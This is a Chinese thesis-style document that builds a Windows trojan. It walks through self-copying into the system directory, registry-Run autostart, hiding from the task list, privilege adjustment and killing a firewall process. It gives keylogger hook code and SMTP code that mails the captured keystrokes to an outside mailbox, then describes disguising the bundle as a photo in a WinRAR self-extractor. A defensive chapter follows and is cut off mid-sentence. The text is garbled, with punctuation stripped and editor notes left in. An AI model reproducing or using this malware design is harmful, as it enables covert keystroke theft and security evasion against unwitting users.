1.1MFC概述MFC应用程序框架是以MFC作为框架基础的,以此程序框架模式搭建起来的应用程序在程序结构组织上是完全不同于以前的Win32SDK编程方式的MFC提供了相当多不同功能的类以适合尽可能广泛的需求这里绝大多数的MFC类都是直接或间接从CObject类派生出来的,CObject类为其派生类提供了三个重要的特性支持持久性支持、运行时类信息支持和诊断调试支持等其中持久性是以流的方式将某个类对象中的持久性数据输出或输入到外部存储介质如磁盘文件等的过程;运行时类信息(Run-timeClassInformation,RTCI)则可以重新获取一个对象的类名及其他一些有关对象在运行时的信息RTCI也是C++中除运行时类型信息(Run-timeTypeInformation,RTTI)机制外的另一个重要工具;诊断和调试支持作为CObject类的一个组成部分,可以在实现CObject派生类时执行有效性检查并可向调试窗口输出状态信息 并非MFC提供的所有函数都是类成员函数,MFC也提供了一系列以Afx为前缀的全局函数类成员函数只能在其所属类对象所在的上下文中使用,但是这些AFX函数却可以在任何时候的任何地方直接使用下表列出的是几个比较重要AFX函数函数名函数说明AfxAbout无条件终止一个应用程序;通常在发生无法回复的错误时使用AfxBeginThread创建一个新的线程并开始执行AfxEndThread终止当前正在执行的线程AfxMessageBox显示一个Windows消息窗口AfxGetApp返回一个指向应用程序对象的指针AfxGetAppName返回应用程序名AfxGetMainWnd返回一个指向应用程序主窗口的指针AfxGetInstanceHandle返回一个标识当前应用程序实例的句柄AfxRegisterWndClass为一个MFC应用程序注册一个用户自定义的窗口类
2.
4.
2.2MFC对API函数的封装 使用WindowsSDK的开发经历的人一定会对其编程方式和大量的Win32API函数调用感到烦琐所有不同功能的API函数均是以全局函数的形式放在一起的,由于API函数数目比较庞大,因此无论是学习还是使用都是有一定难度的相比而言,建立在API函数基础之上的MFC类库则通过把相关API函数的分类封装而可以大大简化编程的难度,用MFC类编写的Windows应用程序完成相同的任务只需要进行少量的工作 众多的API函数根据功能的不同而被MFC封装到200多个类中,这些类基本涵盖了进行Windows编程大部分可能用到的功能下面介绍比较重要的CObject类和CWnd类为例对API函数的封装情况 CObject类是MFC中最主要也是最基本的类之一,该类不支持多重继承,派生的类只能有一个CObject基类CObject类是位于类层次结构最顶层的,绝大多数MFC类都是从CObject类派生出来的CObject类包含了所有MFC类必须具备的几个基本功能持久性支持、运行时类信息支持和诊断调试支持其中持久性支持功能由成员函数IsSerializable()和Serialize()提供前者用于检测对象是否支持序列化如果一个类能够被序列化,就必须在声明时包含DECLARE_SERIAL宏、在实现时包含IMPLEMENT_SERIAL宏Serialize()函数则可以将对象写入档案文件(Archive)或从档案文件读出对象成员函数GetRuntimeClass()可以获取到一个指向CruntimeClass类对象的指针,通过该指针可以得到对象的运行时类信息CObject类在诊断调试支持方面提供了成员函数AssertValid()和Dump(),前者可对对象内存状态的有效性进行检查,后者负责将对象的内容转储到一个CdumpContext对象中,并可以提供诊断服务及一些有用的调试信息 在MFC中,CWnd类提供了所有窗口类的基本功能,是一个非常重要的类,大约三分之一的MFC类都是以此为基类该类主要对创建、操纵窗口类的API函数进行了封装,而且通过消息映射机制隐藏了SDK编程中使用相当不便的窗口处理函数,是消息的分发处理更加方便 CWnd类最重要的一个封装是对API函数CreateWindow()的封装,该函数被封装为CWnd类成员函数Create()看上去经过封装的窗口创建函数要比原API函数复杂许多,但这并不说明MFC的封装将导致编程的效率低下,恰恰相反,由于CWnd在绝大多数场合中是以基类的形式出现的,因此可在派生类中添加代码完成对CWnd::Create()的调用而比较方便的实现对派生类窗口的创建
2.
4.
2.3MFC应用程序框架 MFC应用程序框架可以看作是MFC基本类库的一个超集(Superset),类库是众多可在任何程序中使用的类的集合,而应用程序框架则定义了程序自身的结构 由于使用了MFC应用程序框架的程序在本质上仍是Windows应用程序,因此必然需要在程序中存在作为Windows应用程序入口的WinMain()函数在前面的示例代码中之所以没有看到WinMain()函数是由于该函数已经通过封装的手段隐藏到应用程序框架中了除WinMain()外,CWinApp类成员函数Run()也是隐含执行的,这个函数也是非常重要的,它负责把消息放进应用程序窗口的消息循环中,由WinMain()函数完成对Run()的调用当WinMain()函数寻找到应用程序对象后将立即调用CWinApp类的虚函数InitInstance()由于CWinApp基类是不知道究竟需要何种主框架窗口的,因此在使用时必须在CWinApp的派生类中对InitInstance()函数进行重载InitInstance()函数是在应用程序已经开始运行但窗口尚未创建时被调用的,若非由InitInstance()创建了窗口,应用程序是无法拥有窗口的,这也就意味着缺少了InitInstance()函数的应用程序将无法接收、处理消息,对Windows程序而言这也就失去了存在的意义由此可见,从CWinApp类中进行派生,并且对InitInstance()函数进行重载是编写MFC应用程序框架程序的必要条件 除应用程序类外,从CFrameWnd派生的Frame类还对应用程序的主框架窗口做了描述在构造函数中调用基类的CFrameWnd成员函数Create(),由Windows负责创建出实际的窗口结构,并由应用程序框架将其链接到C++对象 MFC的CWinApp和CFrameWnd等基类是最主要的类,它们能够实现大多数的功能在编程时,只需在派生类中编写少量功能代码,C++允许以这样的方式借用基类中的大量代码而无须复制代码应用程序框架负责提供程序的结构框架,开发人员在此基础上为其添加相应的实现代码,从而可以非常方便地完成一个完整的应用程序应用程序框架不仅定义了应用程序的结构安排,实际上还包含了更多的C++基类
2.
4.2动态链接库技术本文的邮件发送和键盘记录模块功能的实现分别封装在两个动态链接库中,因为动态连接库有其独特的优势下面简单介绍一下动态链接库程序的实现形式上主要分为可执行程序和动态连接库前者独立运行,在本文中,前者构成了木马的主体部分后者在本文中体现为test
3.dll和smtp_dll.dll这两个动态连接库就是为了实现邮件发送和键盘记录两个分别比较独立的功能可以把动态链接库理解为一个函数库他包含了全局数据、编译过的函数和资源动态链接库不能像普通的可执行文件那样直接运行,而是用来为其他的exe文件或dll文件提供共享函数库DLL经过编译后,被装入到一个预定的基地址中,如果没有与其他DLL冲突,文件就被映射到进程中相同的虚地址上与静态库不同的是,他不能直接链接到可执行文件中,而且在程序运行时才加载 使用DLL提供了一种共享数据和代码的方便途径,由于多个应用程序可以共享同一个DLL中的函数,因此使用DLL可以显著的节省磁盘空间尤其对于Windows应用程序,有很多操作都是标准化的,如果使用传统的静态链接方式,每一个需要完成这些操作的应用程序都必须在自己的执行文件中包括相同的代码,这不但使应用程序必须加载的时间变得更长,也浪费了磁盘空间多个应用程序还可以同时共享DLL在内存中的同一份拷贝,这就有效地节省了应用程序所占用的内存资源,避免了频繁的内存交换,从而提高了应用程序的执行效率由于DLL是独立于可执行文件的,因此,如果需要向DLL中增加新的函数或是增强现有函数的功能,只要原有函数的参数和返回值等属性不变,那么所有使用该DLL的应用程序都不需要重新编译DLL除了包括函数的执行代码以外,还可以包括诸如图标、位图、字符串和对话框之类的资源,因此可以把应用程序所使用的资源独立出来做成DLL对于一些常用的资源,把他们做到DLL中后,就可以为多个应用程序所共享第三章木马程序的实现木马程序包括三个大部分第一部分为木马主体部分,第二部分为键盘记录部分,第三部分为邮件发送部分
3.1木马的主体部分利用Vc++
6.0的MFCAppWizard建立一个基于对话的名为testwk1工程,该工程是木马的主体部分该主体通过装载smtp_dll.dll,来实现邮件发送功能,通过装载test
3.dll来实现键盘记录的功能其中装载smtp_dll.dll是采用隐式链接的方式,隐式连接是可执行程序同DLL间最常用的的DLL链接类型为了使用DLL中提供的各种输出函数,必须将DLL的头文件添加到应用程序工程,并在引用了此DLL模块的函数变量,数据结构或符合所有源文件中包含对此头文件的引用,否则输入的DLL的符合将被认为是没有定义而使编译器报告错误信息Testwk1工程必须链接生成的所有的.obj文件,以生成.exe可执行程序所以将包含了smtp_dll.dll输出符号列表的smtp_dll.lib文件也添加到testwk1工程中,并在链接时传递给链接程序,使得链接程序能够知道是否存在可执行模块输出的符号以及时哪一个DLL模块输出了此符号链接程序在链接产生可执行程序时,将在生成的模块中嵌入一个列有每一个被调用DLL模块信息和待输入列表完成前述工作后,在工程对输入函数的调用可以对想对进程内函数的调用一样来使用其具体操作如下将smtp_dll.dll和smtp_dll.lib添加到testwk1工程目录下,并且在工程,设置,ProjectSettingsLink下添加smtp_dll.lib其中装载test
3.dll是采用显式链接隐式链接较简单,但出来必须的.dll文件和.lib文件而显式链接只需要.dll文件这种链接方式是在程序运行过程中,由其空间中的线程决定是否调用DLL中的输出函数线程通过LoadLibrary将DLL显式加载到线程的地址空间,在获得DLL中包含的函数的虚拟内存地址后,通过该内存地址对输出函数进行调用这种链接方式不同于隐式链接方式,全部的处理过程都是在程序运行期间完成的具体操作如图3-1所示
3.
1.1自身复制模块木马第一次进入目标计算机,必需要找一个地方把自己隐藏起来那么木马隐藏在那比较安全?系统目录是存放系统文件的地方,这里面的文件极多,而且都非常重要,即使对系统非常熟悉的人也不敢任意删除系统目录下的文件所以这是木马藏身的最好地方首先通过API函数GetModuleFileName获得本进程的绝对路径,再通过函数GetSystemDirectory获得系统目录,在同过Copefile函数将本文件考到系统目录下关键代码如图
3.2所示
3.
1.2自启动模块木马每次在用户每次启动系统后自动加载运行Windows的自启动方式有许多方式,除了一些常见的启动方式之外,还有一些非常隐蔽的可用来启动文件的方式木马要做的是如何在每次用户启动时自动装载服务端Windows支持多种的在系统启动时自动加载应用程序的方法.首先通过GetModulwFileName函数获得本进程文件地址通过RegOpenKey函数打开注册表通过在Software\Microsoft\Windows\CurrentVersion\Run注册实现程序的自启动关键代码如图
3.3所示
3.
1.3隐藏模块由于木马程序是一种恶意程序,它必须在被攻击者没有察觉的情况下悄悄启动运行,否则会立即被用户察觉而将其关闭,也就失去了作用,所以它不是像其它程序一样公开显示在任务栏和任务列表中,而是想方设法加以隐藏隐藏模块主要表现在四个方面任务栏隐藏、任务管理器隐藏、进程隐藏和端口隐藏其中任务栏隐藏和任务管理器隐藏相对比较容易可以在编译环境下修改相关属性来实现进程隐藏是其难点在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINNT的任务管理器在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程
1.程序在任务栏中的隐藏机理程序在任务栏的隐藏比较简单首先要保证程序主界面的隐藏这可以通过修改应用程序类的初始化实例函数Initlnstance的ShowWindow语句来实现即将SWSHOW参数改为SWHIDE.主界面隐藏的同时任务栏虽然也会消失关键代码如图
3.4所示范2.在任务列表中的隐藏任务列表按下Ctrl+Alt+Del键时弹出的对话框显示了当前系统正在运行的一些应用程序有经验的用户可以通过观察任务列表而发现一些值得怀疑的应用程序而在此将其关闭;所以要设法实现了自身在任务列表中的隐藏使被发现的机会大大降低在Win9x中一般每个应用程序都要通过一个API应用程序接口函数RegisterServiceProcess向系统申请注册成为一个服务进程并且通过这个函数结束该服务进程的运行如果一个进程注册为一个服务进程那么通过Ctrl+Alt+Del就可以在任务列表里看见该进程的标题;而如果一个进程运行了但没有向系统申请注册成为服务进程那么它就不会在任务列表里显示.利用这个原理使自身在运行时能在任务列表中实现隐藏.该函数存放于系统内核Kernel
32.dll中具体声明下:DWORDRegisterServiceProcessDWORDdwProcessIdDWORDdwType;其第一个参数指定当前进程的进程标识第二个参数指出是注册还是注销当前进程将其设为1,使得进程注册为服务进程,这样就不会在任务列表中显示在程序启动初始化时首先从Kernel
32.dll动态连接库中将RegisterServiceProcess函数加载到内存然后再通过设置该函数的第一个参数和第二个参数就可以将程序从任务列表中隐藏流程图如图3-5所示
3.
1.4提升权限模块对于一个木马程序来说,提高其权限有着很重要的作用在本程序中,为了顺利的发送邮件,结束不希望的进程均需要提高程序的权限首先使用API函数OpenProcessToken以调整权限和访问方式获得当前进程的句柄,API函数AdjustTokenPrivileges修改其权限关键代码如下图所示
3.
1.5杀死目标进程模块木马在运行时,不希望有如瑞星,偌顿等等杀毒软件的进程存在,但是通常这些杀毒软件的进程权限相当高,许多都与系统系统内核紧密结合,许多还采用了多线程技术,并不能简单的杀死上述情况均比较复杂在文中,只讨论杀死防火墙进程下面为具体杀死天网防火墙进程的实现方案杀死天网防火墙首先必须通过目标进程的名字找到目标在系统中的PID,然后通过调用杀死进程的API来结束目标进程1.找到目标进程PID基本思想是调用EnumProcesses()计算当前的有多少进程,并且用一数组存放有效进程的PID,然后通过遍历,与目标进程名进行核对,如果相符,就返回该进程PID流程图如下
2.杀死进程杀死目标进程,是利用API函数TerminateProcess(),具体代码如图
3.8所示
3.
1.6判断发送条件
3.
1.
6.1初始化邮箱木马要发送邮件到指定的邮箱去,首先要对EMAIL进行初始化比如发送记录键盘记录的文件d:\system.txt到UserName@
163.com去如下所示
3.
1.
6.2准发送Emaill机制在程序初始化的时候设置一定时器,该定时器每30秒检测一次系统,判断是否需要发送Email在定时器默认执行的函数中,通过获得系统当前时间,设置在某段时间里允许发送邮件另外打开存放键盘记录的文件D:\\system.txt(很明显,为了便于测试),判断其文件长度是否收集到足够的信息,是则发送,并且在发送之前杀死天网防火墙进程,发送后将文件清空;否则不发送,等着继续进行键盘记录流程图如图3-10所示
3.2键盘记录的具体实现键盘记录就是使用钩子截获键盘消息,钩子可以实现下面的功能:把截获的消息复制一份自己保留,在把原消息原封不动发出去;把截获的到的消息扣留;把截获到的消息改变后发出去分为两步实现:钩子的制作和钩子的使用该部分的工作情况如下
3.
2.1钩子的制作使用应用程序向导生成MFCAppWizarddll工程,工程名为test3在test
3.h中声明输出的函数接口LRESULTDllExportCALLBACKKeyboardProc;BOOLDllExportinstallhook;在test
3.cpp文件中在installhook函数中使用WindowsAPISetWindowsHookExWH_KEYBOARDHOOKPROCKeyboardProchins0安装钩子在回调函数KeyboardProcintnCodeWPARAMwParamLPARAMlParam中利用回调函数的参数nCode,wParam,lParam着个写入文件D:\\system.txt1安装钩子模块使用钩子之前需要安装钩子,Windows提供了钩子使用SetWindowsHookEx2判断记事本运行模块记事本运行作为键盘记录的条件,所以此模块也比较重要,此部分用于钩子的回调函数KeyboardProcintnCodeWPARAMwParamLPARAMlParam里,一旦记事本运行立刻记录键盘的记录实现过程如下通过CreateToolhelp32Snpshot()API函数对内存进行一次快照,获得各进程的地址,之后依次取出来看是否有notepad字符串有则证明记事本进程在运行,否则就没有运行3键盘记录模块在此模块中,程序记录下一般的阿拉伯数字记录,字母的记录,组合键产生的字母,以及一些特殊符号键,并且储存在程序生成的文件里该功能集中在函数KeyboardProcintnCodeWPARAMwParamLPARAMlParam中,部分代码如下ifnCode==HC_ACTIONlParam0xc000ffff==1{CStringsName;BOOLb_Sft=::GetAsyncKeyStateVK_SHIFTsizeofshort*8-1;ifb_Sft{switchwParam{case1:sName=!;break;……}else{switchwParamcaseZ:sName=z;break;……}……m_pfile.OpenD:\\system.txtCFile::modeWrite;//打开记录文件m_pfile.SeekToEnd;//找到文件尾if!b_Focus{CTimetm=CTime::GetCurrentTime;//获得系统时间name.Format\r\n_%d_%d_%d_%d\r\ntm.GetMonthtm.GetDaytm.GetHourtm.GetMinute;//在文件记录附上日期m_pfile.Writenamename.GetLength;//写入文件}m_pfile.WritesNamesName.GetLength;}LRESULTRetVal=CallNextHookExhkbnCodewParamlParam;4钩子卸载模块使用完钩子后需要卸载钩子,使用的同样是Windows系统提供的APIUnhookWindowsHookEx;
3.
2.2钩子的使用在木马程序的主体部分装载该动态链接库,获得装载钩子函数地址,调用该函数安装钩子,使用方法如下
3.3发送邮件的实现邮件发送主要使用的是SMTP协议实现的,并且信息在网络上传输是采用了BASE64编码后信息
3.
3.1SMTP协议的会话流程在进行程序设计之前有必要弄清SMTP协议的会话流程,其实前面介绍的内容已经可以大致勾勒出用SMTP发送邮件的框架了,对于一次普通的邮件发送,其过程大致为先建立TCP连接,随后客户端发出HELLO命令以标识发件人自己的身份,并继续由客户端发送MAIL命令,如服务器应答为OK,可继续发送RCPT命令来标识电子邮件的收件人,在这里可以有多个RCPT行,而服务器端则表示是否愿意为收件人接受该邮件在双方协商结束后,用命令DATA将邮件发送出去,其中对表示结束的.也一并发送出去随后结束本次发送过程,以QUIT命令退出下面通过一个实例,从langrui@sohu.com发送邮件到renping@sina.com来更详细直观地描述此会话流程
3.
2.2邮件的格式化 由于电子邮件结构上的特殊性,在传输时是不能当作简单的文本来直接处理的,而必须按照一定的格式对邮件头和邮件体进行格式化处理之后才可以被发送需要进行格式化的部分主要有发件人地址、收件人地址、主题和发送日期等在RFC文档的RFC822里对邮件的格式化有详尽的说明,有关详情请参阅该文档下面就是VC++
6.0按照RFC822文档规定将格式化邮件的部分编写如下(部分代码)其中add_header_lineLPCTSTRszHeaderLine函数用于把szHeaderLine指向的字串追加到m_strHeader后面其中,格式化后的邮件头保存在m_strHeader里,格式化后的邮件体保存在m_strBody中
3.
3.3由Socket套接字为SMTP提供网络通讯基础 许多网络程序都是采用Socket套接字实现的,对于一些标准的网络协议如HTTP、FTP和SMTP等协议的编程也是基于套接字程序的,只是端口号不再是随意设定而要由协议来指定,比如HTTP端口在
80、FTP是21,而SMTP则是25Socket只是提供在指定的端口上同指定的服务器从事网络上的通讯能力,至于客户和服务器之间是如何通讯的则由网络协议来规定,这对于套接字是完全透明的因此可以使用Socket套接字为程序提供网络通讯的能力,而对于网络通讯连路建立好之后采取什么样的通讯应答则要按SMTP协议的规定去执行了为简便起见,没有采用编写较复杂的WindowsSocketsAPI进行编程,而是使用经过较好封装的MFC的CSocket类在正式使用套接字之前,也要先用AfxSocketInit函数对套接字进行初始化,然后用Create创建套接字对象,并由该套接字通过Connect()建立同邮件服务器的连接如果一切正常,再后续的工作中就是遵循SMTP协议的约定来使用Send()、Receive函数来发送SMTP命令和接收邮件服务器发来的应答码以完成对邮件的传送
3.
3.4SMTP会话应答的实现 在同邮件服务器建立好链路连接后就可以按前面介绍过的会话流程进行程序设计了,对于SMTP命令的发送,可按命令格式将其组帧完毕后用CSocket类的Send函数将其发送到服务器,并通过CSocket类的Receive函数接收从邮件服务器发来的应答码,并根据SMTP协议的应答码表对其做出响应的处理下面是用于接收应答码的函数get_response的部分实现代码会话的各个部分比较类似,都是命令--应答方式,而且均成对出现,下面是本部分重点也是实现的关键部分--在程序控制下完成对SMTP命令的格式化以及对命令的发送和对邮件服务器应答码的检验处理//格式化并发送HELLO命令,并接收、验证服务器应答码gethostnamelocal_host80;sHello.Format_THELO%srnlocal_host;m_wsSMTPServer.SendLPCTSTRsHellosHello.GetLength;if!get_responseGENERIC_SUCCESSfile://检验应答码是否为250{……returnFALSE;}file://格式化并发送MAIL命令,并接收、验证服务器应答码sFrom.Format_TMAILFrom:<%s>rnLPCTSTRmsg->m_strFrom;m_wsSMTPServer.SendLPCTSTRsFromsFrom.GetLength;if!get_responseGENERIC_SUCCESSfile://检验应答码是否为250returnFALSE;file://格式化并发送RCPT命令,并接收、验证服务器应答码sEmail=LPCTSTRmsg->m_strTo;sTo.Format_TRCPTTO:<%s>rnLPCTSTRsEmail;m_wsSMTPServer.SendLPCTSTRsTosTo.GetLength;if!get_responseGENERIC_SUCCESSfile://检验应答码是否为250returnFALSE;file://格式化并发送DATA命令,并接收、验证服务器应答码sTemp=_TDATArn;m_wsSMTPServer.SendLPCTSTRsTempsTemp.GetLength;if!get_responseDATA_SUCCESSfile://检验应答码是否为354returnFALSE;file://发送根据RFC822文档规定格式化过的邮件头m_wsSMTPServer.SendLPCTSTRmsg->m_strHeadermsg->m_strHeader.GetLength;…file://发送根据RFC822文档规定格式化过的邮件体sTemp=msg->m_strBody;ifsTemp.Left3==_T.rnsTemp=_T.+sTemp;whilenPos=sTemp.FindszBad>-1{sCooked=sTemp.MidnStartnPos;sCooked+=szGood;sTemp=sCooked+sTemp.RightsTemp.GetLength-nPos+nBadLength;}m_wsSMTPServer.SendLPCTSTRsTempsTemp.GetLength;file://发送内容数据结束标志<CRLF>.<CRLF>,并检验返回应答码sTemp=_Trn.rn;m_wsSMTPServer.SendLPCTSTRsTempsTemp.GetLength;if!get_responseGENERIC_SUCCESS//检验应答码是否为250returnFALSE;
3.
3.5base64编码本文发送的邮件是经过BASE64编码的BASE64是目前用的最多的一种编码,它将二进制数据编码为字母和数字,因为字母和数字的个数少于256,所以它是把3个字节的二进制数据转换为4个字节的字母和数字此编码方式可以让中文字或者图片在网络上顺利传输在BASE64编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共64个基本字符,不包含其它特殊的字符,因而才取名BASE64编码后的字符串比原来的字符串长度再加1/3左右
3.4木马的捆绑首先在testwk1工程,设置,Debug,可执行调试对话下将生成的可执行文件名改为SVCHOST.exe在本文中,由于发送邮件的DLL和键盘记录部分的DLL要求与testwk1工程生成的SVCHOST.exe在同一目录下,才能正常的工作那么木马即时点击了SVCHOST.exe也不能执行,在植入的时候必须要将SVCHOST.exe与两个DLL捆绑成一个文件,然后再进行植入那么必须将它们捆绑在一起下面用一个永远不会被查杀的捆绑方法——使用WinRAR捆绑 利用它的自解压和档案运行功能可以实现捆绑机的基本要求 首先我们选定四个文件“SVCHOST.exe”,两个DLL及“我的照片.jpg”,点击右键选添加到“XXXXX.rar”然后双击打开生成的这个rar档案,点击工具栏上的自解压图标在弹出的对话框中选择高级自解压选项在“解压路径”中填入你要解压的路径,%systemroot%\temp表示系统安装目录下的temp档案夹,一般是c:\winnt\temp档案夹“解压缩之后运行”中输入木马的服务端“SVCHOST.exe”,“解压缩之前后运行”中输入“我的照片.jpg”此处有一定的欺骗性生成后的程式运行时会先调用默认关联的图片查看程式来打开“我的照片.jpg”,等关闭这个图片查看程式后才会去运行“SVCHOST.exe”,可以起到一定的迷惑作用,所以顺序一定不能颠倒,否则就露馅了 然后点击“高级”标签,选择“全部隐藏”和“覆盖所有档案”这两个选项这两个选项是为了不让rar解压的时候弹出窗口然后点击“文字和图标”标签,选择你喜欢的图标吧 点击两下确定返回,在同一个目录下就会生成一个与rar同名的exe档案,这个就是“捆绑“后的档案了你也可以给档案更名比如“我的照片.jpg.exe”注意,档案后缀名一定要是exe 优点:
1、WinRAR“捆绑”的档案是永远不会被杀的,不用担心哪天杀毒软体会瞄上你的“捆绑机”
2、等第一个正常程式[台湾说法呀,改过来]运行结束后再运行服务端,有一定的迷惑性 第四章“木马”病毒的防范上一部分主要讨论了一个简单木马的实现,但是本文的目的不是去展现木马的是如何编写的,通过实现了一个简单的木马程序,使我们对木马的原理有了更进一步的理解,对于我们防范木马起了积极的作用对于木马这种十分有危害性的黑客工具,我们要千方百计的对其防范
4.1木马的入侵网络上冲浪聊天发电子邮件都使用TCP/IP协议TCP/IP协议规定电脑可以有256乘以256个端口即从0到65535号端口当发电子邮件的时候E-mail软件把信件送到了邮件服务器的25号端口收信的时候E-mail软件是从邮件服务器的110号端口进去取信的新安装好的个人电脑打开的端口号139端口上网的时候就是通过这个端口与外界联系的黑客不是神仙他也是通过端口进入你的电脑如果你的电脑设置了共享目录那么黑客就可以通过139端口进入你的电脑WINDOWS有个缺陷就算共享目录设置了多么长的密码几秒钟时间就可以进入你的电脑所以最好不要设置共享目录不允许别人浏览你的电脑上的资料除了139端口以外如果没有别的端口是开放的黑客就不能入侵你的个人电脑那么黑客是怎么样才会进到你的电脑中来的呢答案是通过特洛伊木马进入你的电脑如果你不小心运行了特洛伊木马你的电脑的某个端口就会开放黑客就通过这个端口进入你的电脑举个例子有一种典型的木马软件叫做netspy.exe如果你不小心运行了netspy.exe那么它就会告诉WINDOWS以后每次开电脑的时候都要运行它然后netspy.exe又在你的电脑上打开了编号是7306端口如果黑客知道你的7306端口是开放的话就可以用软件偷偷进入到你的电脑中来了特洛伊木马本身就是为了入侵个人电脑而做的藏在电脑中和工作的时候是很隐蔽的它的运行和黑客的入侵不会在电脑的屏幕上显示出任何痕迹WINDOWS本身没有监视网络的软件所以不借助软件是不知道特洛伊木马的存在和黑客的入侵
4.2如何发现自己电脑中的木马以netspy.exe为例现在知道netspy.exe打开了电脑的7306端口要想知道自己的电脑是不是中了netspy.exe只要敲敲7306这扇“门”就可以了在运行行中敲入”ipconfig/all”找到自己IP地址比如你的IP地址是
10.
10.
10.10然后打开浏览器在浏览器的地址栏中输入http://
10.
10.
10.10/7306如果浏览器告诉你连接不上说明你的电脑的7306端口没有开放如果浏览器能连接上并且在浏览器中跳出一排英文字说的netspy.exe的版本那么你的电脑中了netspy.exe木马了这是最简单最直接的办法但是这需要你知道各种木马所开放的端口木马程序常开放以下端口:
7306、
7307、
7308、
12345、
12344、
12346、
31337、
6680、
8111、9910但是就算你熟悉了所有已知木马端口也还是不能完全防范这些木马的我们需要进一步查找木马我们可以用扫描自己的电脑的办法看看电脑有多少端口开放着并且再分析这些开放的端口首先找个端口扫描器如“代理猎手”你上网以后找到自己的IP地址并关闭正在运行的网络软件因为可能开放的端口会被误认为是木马的端口然后让代理猎手对0到65535端口扫描如果除了139端口以外还有其他的端口开放那么很可能是木马造成的排除了139端口以外的端口你可以进一步分析了用浏览器进入这个端口看看它会做出什么样的反映你可根据情况再判断了
4.3删除木马最简单的办法当然是用杀毒软件删除木马了Netvrv病毒防护墙可以帮助你删除netspy.exe和bo.exe木马但不能删除netbus木马下面就netbus木马为例讲讲删除的经过netbus木马的客户端有两种开放的都是12345端口一种以Mring.exe为代表一种以SysEdit.exe为代表Mring.exe一旦被运行以后Mring.exe就告诉WINDOWS每次启动就将它运行WINDOWS将它放在了注册表中你可以在运行行中敲入”regedit”进入HKEY-LOCAL-MACH/Software/Microsoft/Windows/CurrentVersion/Run找到Mring.exe然后删除这个健值你再到WINDOWS中找到Mring.exe删除注意Mring.exe可能会被黑客改变名字字节长度也被改变了但是在注册表中的位置不会改变你可以到注册表的这个位置去找另外你可以找包含有“netbus”字符的可执行文件再看字节的长度SysEdit.exe被运行以后并不加到WINDOWS的注册表中也不会自动挂到其他程序中于是有人认为这是傻瓜木马我倒认为这是最最可恶、最阴险的木马别的木马被加到了注册表中你就有痕迹可查了就连专家们认为最凶恶的BO木马也可以轻而易举地被我们从注册表中删除而SysEdit.exe要是挂在其他的软件中只要你不碰这个软件SysEdit.exe也就不发作一旦运行了被安装SysEdit.exe的程序SysEdit.exe也同时启动了所以要知道自己的电脑中有没有木马只要看看有没有可疑端口被开放用代理猎手、Tcpview.exe都可以知道要查找木马一是可以到注册表的指定位置去找二是可以查找包含相应的可执行程序比如被开放的端口是7306就找包含“netspy”的可执行程序三是检视内存看有没有可以的程序在内存中
4.4使用防火墙使用防火墙是防止黑客的植入木马和阻断黑客与木马的通信的比较有效的方法防火墙隔离在本地网络与外界网络之间的一道防御系统,是这一类防范措施的总称应该说,在互联网上防火墙是一种非常有效的网络安全模型,通过它可以隔离风险区域即Internet或有一定风险的网络与安全区域局域网的连接,同时不会妨碍人们对风险区域的访问可以监控进出网络的通信量,从而完成看似不可能的任务;仅让安全、核准了的信息进入,同时又抵制对企业构成威胁的数据防火墙的作用是防止不希望的、未授权的通信进出被保护的网络,一般的防火墙都可以达到以下目的一是可以限制他人进入内部网络,过滤掉不安全服务和非法用户;二是防止入侵者接近你的防御设施;三是限定用户访问特殊站点;四是为监视Internet安全提供方便防火墙有几种基本类型包过滤防火墙IPFiltingFirewall静态包过滤动态包过滤;代理防火墙代理防火墙自适应代理防火墙防火墙并不是解决网络安全问题的万能药方,而只是网络安全政策和策略中的一个组成部分
4.5使用杀毒软件现在的杀毒软件不仅把常规意义病毒列为查杀对象而且把木马也列为其中下面就杀毒软件基本原理和通常的杀毒软件进行介绍
4.
5.1杀毒基本原理杀毒软件通过病毒马标识病毒的特点,使其变得独一无二,之后存入病毒库之后通过扫描引擎,发现病毒,然后采取删除,隔离文件等措施
(1)病毒码病毒码所谓的病毒码其实可以说成病毒的指纹,当杀毒软件公司收集到一只新的病毒时,他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进制程序代码BinaryCode,来当做查毒程序辨认此病毒的依据,而这段独一无二的二进制程序代码就是所谓的病毒码
(2)扫描引擎扫描引擎可以说是杀毒软件中最精华的部份,当您操作杀毒软件去扫描某一个磁盘驱动器或目录时,它其实是把这个磁盘驱动器或目录下的档案一一送进扫描引擎来进行扫描病毒码扫描法将新发现的病毒加以分析后,根据其特征,编成病毒码,加入数据库中以后每当执行查毒程序时,便能立刻扫描程序档案,并与病毒码对比,即能侦测到是否有病毒病毒码扫描法又快又有效率例如PC-cillin,就是利用深层扫描技术,在实时扫描各个或大或小的档案时,平均只需1/20秒的时间,目前大多数杀毒软件均采用这种方式,但其缺点是无法侦测到未知的新病毒及以变种病毒
4.
5.2经典杀毒引擎介绍
1.[老问题,点号统一]诺顿诺顿的杀毒引擎是传统的静态代码对应与实时监控的完美结合,有一些改进的虚拟机技术在里面诺顿的杀毒速度慢,可能源于诺顿采用了较多的静态代码这种传统的检查方式有关诺顿的隔离机制非常好,因为在没有确定完全正确的处理方式之前,删除是不应该被采用的诺顿资源占用量比较大,但实现了如下设计目标能识别的病毒和被识别为病毒的进程完全可以正确处理,对已经不可能产生破坏作用的“病毒尸体”不会产生误判,更不会出现出现一次又一次的在处理完某病毒后又检测其为病毒的状况2.Mcafee:mcafee对虚拟机技术和实时监控研究的比较彻底的处理大量的文件时,mcafee有一定的速度优势mcafee正在研究更先进的智能码扫描技术现在的McAfee比较着重于“前慑防范”这一新型的安全领域,并且NORTON也在超这一方向迈进“前慑防范”一共分为两个部分,其一为运用部分防火墙技术外加其入侵检测技术有效的阻断病毒的传播源,以至于病毒在传染的初期无法得到大面积的传播降低了危害性;其二为依靠其强大的特征码检测技术(Extra.dat)对病毒的行为方式、特征代码等进行检测,依靠它强大的研发团队以及策略联盟伙伴使其在这一领域独树一帜诺顿能在其新版产品中也加入了一些原本属于防火墙的功能3.卡巴斯基卡巴斯基是一个比较优秀的杀毒软件卡巴斯基的虚拟机技术是很优秀的,当卡巴斯基有个非常庞大的病毒库和良好的升级速度,其杀毒引擎设计水平并不高于其余的公司卡巴斯基的引擎采用了所谓的单一形式的规则判断,众所周知诺顿是基于分类的规则处理卡巴斯基的引擎在文件标识比对病毒库的时候被认为有着很好的性能,充